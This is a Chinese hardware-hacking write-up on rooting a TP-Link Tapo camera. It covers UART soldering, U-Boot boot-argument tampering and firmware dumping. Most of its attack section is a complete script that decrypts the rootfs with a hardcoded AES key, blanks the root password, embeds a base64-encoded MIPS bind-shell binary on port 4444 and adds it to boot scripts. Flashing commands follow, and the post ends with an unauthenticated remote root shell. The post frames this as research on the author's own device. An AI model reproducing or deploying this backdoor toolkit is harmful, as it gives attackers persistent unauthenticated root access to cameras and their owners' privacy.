从拆机焊接 UART、U-Boot 中断启动拿本地 root shell,到提取固件、逆向 AES 加密、修改 SquashFS 植入 bind shell,最终实现远程持久化 root shell。全程记录踩坑与解决方案。
一、拆机 & 焊接 UART 拿到摄像头:
去掉外壳:
看到UART:
从 RX 和 TX 到 CPU 的线路上有一个 0 欧姆电阻,但他们工厂不填充(所以没有连接)。因此先把线路焊接上:
ok那里线路焊上了。
二、拿本地 root shell 启动流程:
1 U-Boot → kernel → /etc/preinit(挂载文件系统)→ /sbin/init → /etc/init.d/rcS → /bin/main(管理 WiFi、摄像头)
用cu连接串口:
这里拼手速,复制好slp,显示autoboot in 1 second的时候立马粘贴,成功进U-Boot shell:
然后执行了下面的命令(上图):
1 2 3 4 sf probe sf read 0x80600000 0x70200 0x200000 setenv bootargs 'earlyprintk console=ttyS1,115200n8 mem=46M@0x0 rmem=18M@0x2e00000 rootwait nprofile_irq_duration=on rootfstype=squashfs ro mtdparts=spi_nor.0 root=/dev/mtdblock6 rw spdev=/dev/mtdblock7 noinitrd init=/bin/ash' bootm 0x80600000
解释:
sf probe — 初始化 SPI Flash
sf read — 把内核镜像从 Flash 读到内存
setenv bootargs — 设置启动参数,关键是 init=/bin/ash 替代了原来的 init=/etc/preinit,内核直接启动 ash shell 而不是正常的初始化流程
bootm — 启动内核
内核启动后直接得到 # 提示符,就是 root shell,不需要密码。
成功拿到本地 root shell!
三、为了本地永久 root shell 设置 saveenv 导致的严重后果 在第二步中,我们拿到了一个本地的root shell,但是我觉得每次重启都得跑一遍那些命令很麻烦,于是把启动参数环境变量用saveenv永久写入:
没错,这样确实使得每次启动都能进本地root shell,方便调试,但是saveenv有个很严重的问题,会覆盖出厂的默认环境变量!!
这一步让我们卡了好久。
ai分析:
原因 :saveenv 覆盖了出厂 U-Boot 环境分区中的关键数据(可能包括 WiFi 校准信息或正确的默认 bootargs)。
正常情况下,开机之后,在wifi列表里就可以看到tapo-cam-6554
但是执行saveenv这个之后,再启动就再也看不到了,wifi列表里没有。。
四、saveenv 的修复之临时方案 遇到第三步说的困难之后,尝试许久,只能把报错日志发给ai,ai表示启动参数应该设置为:
1 2 setenv bootargs 'console=ttyS1,115200n8 mem=41M@0x0 rmem=23M@0x2900000 noinitrd init=/etc/preinit rootfstype=squashfs root=/dev/mtdblock6 rw spdev=/dev/mtdblock7' printenv bootargs
这是一个让 main 正常启动 + WiFi 工作的 bootargs
进uboot执行后开机,实测成功了(加上后面留后门的步骤),但是这不还是有个问题,每次启动都得进uboot。。
这个方案虽然能用,但不满足”远程持久化”的目标,每次断电重启都需要物理连接 UART 进 U-Boot 手动输入命令。要彻底解决,必须修改固件本身,让系统在不依赖特定 bootargs 的情况下也能正确挂载 sp_rom 并启动 WiFi。
怎么做会在 “六、[7/8] 修改 preinit — spdev fallback “ 处理。
五、提取固件 先把固件 dump 出来,准备好 SD 卡,插上,进 U-Boot:
执行了:
1 2 3 sf probe sf read 0x80600000 0 0x800000 mmc write 0x80600000 0 0x4000
这里有个小坑,mmc write最后得写0x4000,因为直接写16384也会被当成16进制(就像图片中一样count 91012)
然后sd卡接上电脑,在mac上把它读取出来:
得到dump.bin。
踩过的坑: 一开始在Linux shell 中 dump,但是这个 shell 是个极简环境,没有正常的文件系统挂载,很多东西不能用。
(尝试了挂载等等去弄,但是最后卡在了WIFI AP模块加载不了,失败了所以没有截图)
选择在 U-Boot 中 dump 固件而非在 Linux shell 中 dump,原因如下:
Linux (ash) 中 dump
U-Boot 中 dump
命令
dd if=/dev/mtdblock6 of=rootfs.bin
sf read 0x80600000 0 0x800000
rootfs 头 512 字节
已解密 (SoC 硬件自动解密)
加密原文
需要先有 shell
是(需要先 init=/bin/ash)
否(U-Boot 随时可用)
可 dump 全部分区
是
是
mshell.sh 兼容
否(需跳过解密步骤)
是(脚本按加密数据设计)
ai解释:
Ingenic T23 的 SPI 控制器有硬件透明解密功能。Linux 内核的 MTD 驱动启用了此功能, 所以通过 /dev/mtdblock6 读到的数据是已解密的明文。 而 U-Boot 的 sf read 直接读原始 Flash,不经过硬件解密,拿到的是加密数据。
mshell.sh 的输入是 U-Boot dump(加密头),脚本内部处理解密和重新加密。 如果用 Linux dump(明文头),需要跳过解密步骤,但写回时仍需加密——不如直接用 U-Boot dump 简单统一。经验+1
补充一下在 Linux shell 里 dump 的命令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t tmpfs tmpfs /dev mdev -s mkdir -p /sp_rommount -t squashfs /dev/mtdblock7 /sp_rom insmod /sp_rom/lib/modules/3.10.14/mmc_core.ko insmod /sp_rom/lib/modules/3.10.14/mmc_block.ko insmod /sp_rom/lib/modules/3.10.14/jzmmc_v12.ko mknod /dev/mmcblk0 b 179 0 mknod /dev/mmcblk0p1 b 179 1 mount -t tmpfs tmpfs /tmp mkdir -p /tmp/sdmount -t vfat /dev/mmcblk0p1 /tmp/sd cat /dev/mtdblock11 > /tmp/sd/live_dump.bin sync
可见十分麻烦,但是live_dump.bin也能成功拿到。后续处理加密和保证WIFI AP模块加载,这俩stuck里很久,便还是采取在 U-Boot 中 dump 固件。
六、修改固件 这一步参考了这篇文章:https://quentinkaiser.be/security/2025/07/25/rooting-tapo-c200/
我们需要在 rootfs 中改 4 个东西,每个都有明确原因:
改什么
为什么改这个
为什么不改别的
/etc/passwd 清除密码
允许无密码 root 登录
—
/usr/sbin/bindshell 植入后门
348 字节的 bind shell,监听 4444 端口
不用 busybox(1.6MB 太大,超出分区限制)
/etc/init.d/rcS 加自启动
rcS 是启动脚本入口,最简单的自启动位置
不改 S20main 等脚本,避免影响 main 的正常启动
/etc/preinit 加 spdev fallback
preinit 是唯一解析 spdev 参数的地方
不改 /bin/main(二进制文件,patch 风险高且不必要)
然后再由 ai 优化一下:
mshell.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 #!/bin/bash set -eif [ -z "$1 " ]; then echo "Usage: $0 <dump.bin>" exit 1 fi BLOCK_SIZE=512 ROOTFS_START=0x1b0000 ROOTFS_END=0x3d0000 ROOTFS_SIZE=$(( ROOTFS_END - ROOTFS_START )) AES_KEY=54505f4c494e4b383869363637676e74 AES_IV=55aadeadc0de4c494e5558457854aa55 REPACKED="${1} .repacked" SQUASHFS="${1} .root.squashfs" MOD_SQUASHFS="${1} .root.squashfs.mod" BINDSHELL_B64="f0VMRgEBAQAAAAAAAAAAAAIACAABAAAAVABAADQAAAAAAAAAABAAADQAIAABAAAAAAAAAAEAAAAAAAAAAABAAAAAQABcAQAAXAEBAAcAAAAAAAEAwP+9J2luCDwvYgg1IACor2gACDwvcwg1JACorwIACDQAAKivBACorwgAoK8GEAI0AQAENCUooAMMAAAAJYBAABQAoK8YAKCvHACgrxFcCDwCAAg1EACorwAAsK8QAKgnBACorxAACDQIAKivBhACNAIABDQlKKADDAAAAAAAsK8BAAg0BACorwYQAjQEAAQ0JSigAwwAAAAAALCvBACgrwgAoK8GEAI0BQAENCUooAMMAAAAJYhAAN8PAjQlICACAAAFNAwAAADfDwI0JSAgAgEABTQMAAAA3w8CNCUgIAICAAU0DAAAACAAqCcoAKivLACgr6sPAjQgAKQnKAClJwAABjQMAAAA" echo "[1/8] Decrypting rootfs header" dd if ="$1 " bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=1 status=none | \ openssl enc -aes-128-cfb1 -d -nosalt -nopad -K $AES_KEY -iv $AES_IV > "${1} .head" echo "[2/8] Extracting rootfs" cp "$1 " "$REPACKED " dd if ="${1} .head" of="$REPACKED " bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) conv=notrunc status=nonedd if ="$REPACKED " of="$SQUASHFS " bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) status=noneecho "[3/8] Unpacking SquashFS" rm -rf squashfs-rootunsquashfs -quiet "$SQUASHFS " echo "[4/8] Clearing root password" sed -i '' 's|^root:[^:]*:|root::|' squashfs-root/etc/passwd echo "[5/8] Installing bindshell" echo "$BINDSHELL_B64 " | base64 -d > squashfs-root/usr/sbin/bindshellchmod 755 squashfs-root/usr/sbin/bindshellecho "[6/8] Patching rcS (bindshell autostart)" cat >> squashfs-root/etc/init.d/rcS << 'RCSEOF' cp /usr/sbin/bindshell /tmp/bindshellchmod 777 /tmp/bindshell/tmp/bindshell& RCSEOF echo "[7/8] Patching preinit (spdev fallback)" python3 << 'PYEOF' with open('squashfs-root/etc/preinit' , 'r' ) as f: lines = f.readlines() out = [] for line in lines: out.append(line) if 'spdev=$(awk' in line: out.append(' [ "$spdev" = "" ] && spdev="/dev/mtdblock7"\n' ) with open('squashfs-root/etc/preinit' , 'w' ) as f: f.writelines(out) PYEOF echo "[8/8] Rebuilding rootfs" rm -f "$MOD_SQUASHFS " mksquashfs squashfs-root "$MOD_SQUASHFS " -quiet -comp xz MOD_SIZE=$(stat -f%z "$MOD_SQUASHFS " ) if [ "$MOD_SIZE " -gt "$ROOTFS_SIZE " ]; then echo "[-] ERROR: SquashFS too large ($MOD_SIZE > $ROOTFS_SIZE )" exit 1 fi echo " SquashFS size: $MOD_SIZE / $ROOTFS_SIZE bytes" dd if =/dev/zero bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) of="$REPACKED " conv=notrunc status=nonedd if ="$MOD_SQUASHFS " bs=$BLOCK_SIZE count=1 status=none | \ openssl enc -aes-128-cfb1 -e -nosalt -nopad -K $AES_KEY -iv $AES_IV | \ dd of="$REPACKED " bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) conv=notrunc status=none dd if ="$MOD_SQUASHFS " bs=$BLOCK_SIZE skip=1 seek=$(((ROOTFS_START + BLOCK_SIZE) / BLOCK_SIZE)) of="$REPACKED " conv=notrunc status=nonedd if ="$REPACKED " of="${1} .rootfs_only.bin" bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) status=nonerm -f "$SQUASHFS " "$MOD_SQUASHFS " "${1} .head" echo "" echo "[+] Done!" echo "[+] Full image: $REPACKED " echo "[+] Rootfs only: ${1} .rootfs_only.bin" echo "" echo "=== U-Boot flash commands ===" echo "# Load rootfs_only.bin to RAM (e.g. from SD card):" echo "fatload mmc 0 0x80600000 rootfs_only.bin" echo "# Flash:" echo "sf probe" echo "sf erase 0x1B0000 0x220000" echo "sf write 0x80600000 0x1B0000 0x220000"
自动化 rootfs 修改脚本。输入 8MB 原始 Flash 镜像,输出可直接刷入的修改版 rootfs。
初始化与参数定义(第 1-23 行)
1 2 3 4 5 6 BLOCK_SIZE=512 ROOTFS_START=0x1b0000 ROOTFS_END=0x3d0000 ROOTFS_SIZE=$(( ROOTFS_END - ROOTFS_START )) AES_KEY=54505f4c494e4b383869363637676e74 AES_IV=55aadeadc0de4c494e5558457854aa55
1 2 BINDSHELL_B64="f0VMRgEBAQ..."
[1/8] 解密 rootfs 头部(第 25-27 行) 1 2 dd if ="$1 " bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=1 status=none | \ openssl enc -aes-128-cfb1 -d -nosalt -nopad -K $AES_KEY -iv $AES_IV > "${1} .head"
Flash 中 rootfs 的布局:
1 2 3 4 5 6 0x1B0000 ┌──────────────────┐ │ 加密的 512 字节 │ ← AES-128-CFB1 加密(SquashFS 头部) 0x1B0200 ├──────────────────┤ │ 明文 SquashFS │ ← 剩余部分未加密 │ ... │ 0x3D0000 └──────────────────┘
dd skip=$((0x1B0000/512)) = 跳过 Flash 前面的分区,定位到 rootfs 起始位置
count=1 = 只读 1 个 block(512 字节),就是加密的头部
通过管道送给 openssl 解密
-aes-128-cfb1 = CFB1 模式(逐 bit 反馈,极其少见)
-nosalt -nopad = 无盐值、无填充(原始加密,512 字节进 512 字节出)
解密结果保存为 dump.bin.head
[2/8] 提取 rootfs(第 29-32 行) 1 2 3 4 5 6 cp "$1 " "$REPACKED " dd if ="${1} .head" of="$REPACKED " \ bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) conv=notrunc dd if ="$REPACKED " of="$SQUASHFS " \ bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE))
经过这步,$SQUASHFS 是一个完整的、已解密的 SquashFS 镜像,可以直接 unsquashfs。
流程图:
1 dump.bin (加密头) → 复制 → repacked (解密头写入) → 切出 rootfs → squashfs (明文)
[3/8] 解包 SquashFS(第 34-36 行) 1 2 rm -rf squashfs-root unsquashfs -quiet "$SQUASHFS "
解包后得到完整的文件系统目录树,可以像普通文件一样修改。
[4/8] 清除 root 密码(第 38-39 行) 1 sed -i '' 's|^root:[^:]*:|root::|' squashfs-root/etc/passwd
^root: = 匹配以 root: 开头的行
[^:]*: = 匹配密码哈希字段(第二个冒号之前的内容)
替换为 root:: = 密码字段留空,表示无密码
-i '' = macOS sed 的原地编辑语法(Linux 用 -i,无 '')
修改前:root:$1$xxxx$hash:0:0:root:/root:/bin/ash 修改后:root::0:0:root:/root:/bin/ash
[5/8] 安装 bindshell(第 41-43 行) 1 2 echo "$BINDSHELL_B64 " | base64 -d > squashfs-root/usr/sbin/bindshellchmod 755 squashfs-root/usr/sbin/bindshell
将内嵌的 base64 字符串解码为 348 字节的 MIPS LE ELF 二进制
放到 /usr/sbin/bindshell,看起来像一个正常的系统工具
chmod 755 设置可执行权限(在 mksquashfs 重建时会保留此权限)
这个 bindshell 的功能:
1 2 3 4 5 6 socket(AF_INET, SOCK_STREAM, 0) → 创建 TCP socket bind(0.0.0.0:4444) → 绑定到所有接口的 4444 端口 listen() → 开始监听 accept() → 等待连接 dup2(fd, 0/1/2) → 将 stdin/stdout/stderr 重定向到连接 execve("/bin/sh") → 启动 shell
[6/8] 修改 rcS — bindshell 自启动(第 45-50 行) 1 2 3 4 5 cat >> squashfs-root/etc/init.d/rcS << 'RCSEOF' cp /usr/sbin/bindshell /tmp/bindshellchmod 777 /tmp/bindshell/tmp/bindshell& RCSEOF
在 rcS 末尾追加三行。为什么不直接执行 /usr/sbin/bindshell?
SquashFS 是只读文件系统,即使文件有 +x 权限,某些情况下内核可能阻止直接执行
保险方案:先 cp 到 /tmp(tmpfs,内存文件系统,可读写)
chmod 777 确保一定有执行权限
& 后台运行,不阻塞后续启动脚本(S05boot → S15monitor → S20main)
执行顺序:
1 2 3 /sbin/init → rcS → run_scripts (后台) → cp bindshell → chmod → bindshell (后台) ↓ S05boot → S15monitor → S20main → /bin/main → WiFi AP 启动
bindshell 和 main 并行运行,互不干扰。
[7/8] 修改 preinit — spdev fallback(第 52-63 行) 1 2 3 4 5 6 7 8 9 10 11 python3 << 'PYEOF' with open('squashfs-root/etc/preinit' , 'r' ) as f: lines = f.readlines() out = [] for line in lines: out.append(line) if 'spdev=$(awk' in line: out.append(' [ "$spdev" = "" ] && spdev="/dev/mtdblock7"\n' ) with open('squashfs-root/etc/preinit' , 'w' ) as f: f.writelines(out) PYEOF
用 Python 而不是 sed,因为 macOS sed 处理多行替换语法复杂且容易出错。
修改效果:
1 2 3 4 5 6 7 8 mount_sp_rom () { spdev=$(awk 'BEGIN{RS=" ";FS="="} $1=="spdev"{print $2}' < /proc/cmdline) [ "$spdev " = "" ] && spdev="/dev/mtdblock7" if [ "$spdev " != "" ]; then mount -t squashfs -o relatime $spdev /sp_rom fi }
为什么这一行就够了:
bootargs 有 spdev=/dev/mtdblock7 → awk 解析到 → 用 bootargs 的值
bootargs 没有 spdev → awk 解析为空 → fallback 设为 /dev/mtdblock7
两种情况下 $spdev 都非空 → if [ "$spdev" != "" ] 一定为真 → sp_rom 一定被挂载
[8/8] 重建 rootfs(第 65-83 行) 重建 SquashFS:
1 mksquashfs squashfs-root "$MOD_SQUASHFS " -quiet -comp xz
-comp xz = 使用 XZ 压缩(与原厂一致,压缩率最高)
输出文件必须 ≤ 2,228,224 字节(rootfs 分区大小),否则会溢出到 sp_rom 分区
安全检查:
1 2 3 4 5 MOD_SIZE=$(stat -f%z "$MOD_SQUASHFS " ) if [ "$MOD_SIZE " -gt "$ROOTFS_SIZE " ]; then echo "[-] ERROR: SquashFS too large" exit 1 fi
写回 repacked 镜像(三步):
1 2 3 4 5 6 7 8 9 10 dd if =/dev/zero ... seek=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE)) of="$REPACKED " dd if ="$MOD_SQUASHFS " bs=$BLOCK_SIZE count=1 | \ openssl enc -aes-128-cfb1 -e ... | \ dd of="$REPACKED " bs=$BLOCK_SIZE seek=$((ROOTFS_START / BLOCK_SIZE)) dd if ="$MOD_SQUASHFS " bs=$BLOCK_SIZE skip=1 seek=$(((ROOTFS_START + BLOCK_SIZE) / BLOCK_SIZE)) of="$REPACKED "
为什么分三步:
1 2 3 4 修改后的 SquashFS: [明文头 512B] [明文body...] ↓ 加密 ↓ 不加密 写入 repacked: [密文头 512B] [明文body...] ↑ 步骤 B ↑ 步骤 C
Flash 上只有前 512 字节是加密的,必须分开处理。
提取 rootfs_only:
1 2 dd if ="$REPACKED " of="${1} .rootfs_only.bin" \ bs=$BLOCK_SIZE skip=$((ROOTFS_START / BLOCK_SIZE)) count=$((ROOTFS_SIZE / BLOCK_SIZE))
从 8MB repacked 镜像中只切出 rootfs 部分(2.2MB),传输更快,U-Boot 刷入时直接加载到 0x80600000 写入 0x1B0000 即可。
写入 SD 卡
拿到dump.bin.rootfs_only.bin。
七、给摄像头刷入有后门的固件
执行了:
1 2 3 4 5 mmc read 0x80600000 0 0x1100 sf probe sf erase 0x1B0000 0x220000 sf write 0x80600000 0x1B0000 0x220000 reset
解释:
mmc read 0x80600000 0 0x1100 — 从 SD 卡读取修改后的 rootfs 到内存(0x1100 = 4352 块 = 2.2MB)
sf probe — 初始化 SPI Flash
sf erase 0x1B0000 0x220000 — 擦除原 rootfs 分区
sf write 0x80600000 0x1B0000 0x220000 — 将修改后的 rootfs 写入 Flash
reset — 重启
wifi里连上tapo-cam-6554
nc连接:
成功拿到远程 root shell!!
八、总结攻击成果 从拆机到实现远程持久化 root shell。最终效果:摄像头通电即自动启动 WiFi AP 和 bind shell, 攻击者无需物理接触,连接 WiFi 后 nc 192.168.191.1 4444 即获得 root 权限。
操作流程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ┌─────────────────────────────────────────────────┐ │ 第一步:U-Boot dump Flash │ │ sf probe │ │ sf read 0x80600000 0 0x800000 │ │ mmc write 0x80600000 0 0x4000 │ ├─────────────────────────────────────────────────┤ │ 第二步:SD 卡转到 Mac,读取 dump │ │ sudo dd if=/dev/rdiskN of=dump.bin bs=512 \ │ │ count=16384 │ ├─────────────────────────────────────────────────┤ │ 第三步:运行 mshell.sh │ │ ./mshell.sh dump.bin │ ├─────────────────────────────────────────────────┤ │ 第四步:写回 SD 卡 │ │ sudo dd if=dump.bin.rootfs_only.bin \ │ │ of=/dev/rdiskN bs=512 │ │ diskutil eject /dev/diskN │ ├─────────────────────────────────────────────────┤ │ 第五步:U-Boot 刷入 │ │ mmc read 0x80600000 0 0x1100 │ │ sf probe │ │ sf erase 0x1B0000 0x220000 │ │ sf write 0x80600000 0x1B0000 0x220000 │ │ reset │ ├─────────────────────────────────────────────────┤ │ 第六步:连接 WiFi + 获取 shell │ │ Mac 连接 Tapo_Cam_XXXX WiFi │ │ nc 192.168.191.1 4444 │ │ → root shell │ └─────────────────────────────────────────────────┘
九、其它踩坑全记录 9.1 JFFS2 放不下 busybox 问题 :最初计划把 busybox-mipsel(1.6MB)放到 JFFS2 分区(user_record, 512KB)运行 telnetd。报错 :cp: write error: No space left on device解决 :用纯 Python 写的 MIPS LE ELF 生成器生成了 348 字节的 bindshell 二进制,然后 base64 编码后硬编码进 mshell.sh。
9.2 rootfs 放不下 busybox + 原文件 问题 :把 busybox 加到 rootfs 后,SquashFS 重建后超过 2.2MB 分区限制。解决 :同上,使用极小的 bindshell 代替 busybox。
9.3 bindshell 无可执行权限 问题 :msfvenom 生成的 ELF 放入 SquashFS 后丢失 +x 权限,无法直接执行。
具体表现,nc连上之后无反应排查发现,用ls -l看到只读权限。
报错 :/usr/sbin/bindshell: Permission denied解决 :在 rcS 中先复制到 tmpfs 再赋权:
1 2 3 cp /usr/sbin/bindshell /tmp/bindshellchmod 777 /tmp/bindshell/tmp/bindshell &
SquashFS 是只读文件系统,无法运行时改权限,但 /tmp 是 tmpfs(内存文件系统),可以自由操作。
9.4 spdev 缺失导致进入恢复模式 问题 :不手动设置 bootargs 启动时,WiFi 不工作。即使按住重置按钮 10 秒也无法恢复。原因 :之前的 saveenv 覆盖了出厂 bootargs,新的 bootargs 中缺少 spdev=/dev/mtdblock7 参数。导致 preinit 不挂载 sp_rom,系统进入恢复模式(创建 /tmp/recovery_mode),只运行 mini_main 而非完整的 main。解决 :修改 preinit 中的 mount_sp_rom() 函数,加入 fallback 逻辑:
1 2 3 4 5 mount_sp_rom () { spdev=$(awk 'BEGIN{RS=" ";FS="="} $1=="spdev"{print $2}' < /proc/cmdline) [ "$spdev " = "" ] && spdev="/dev/mtdblock7" mount -t squashfs -o relatime $spdev /sp_rom }
参考资料
免责声明 本研究仅用于学术目的,所有测试在自有设备上进行。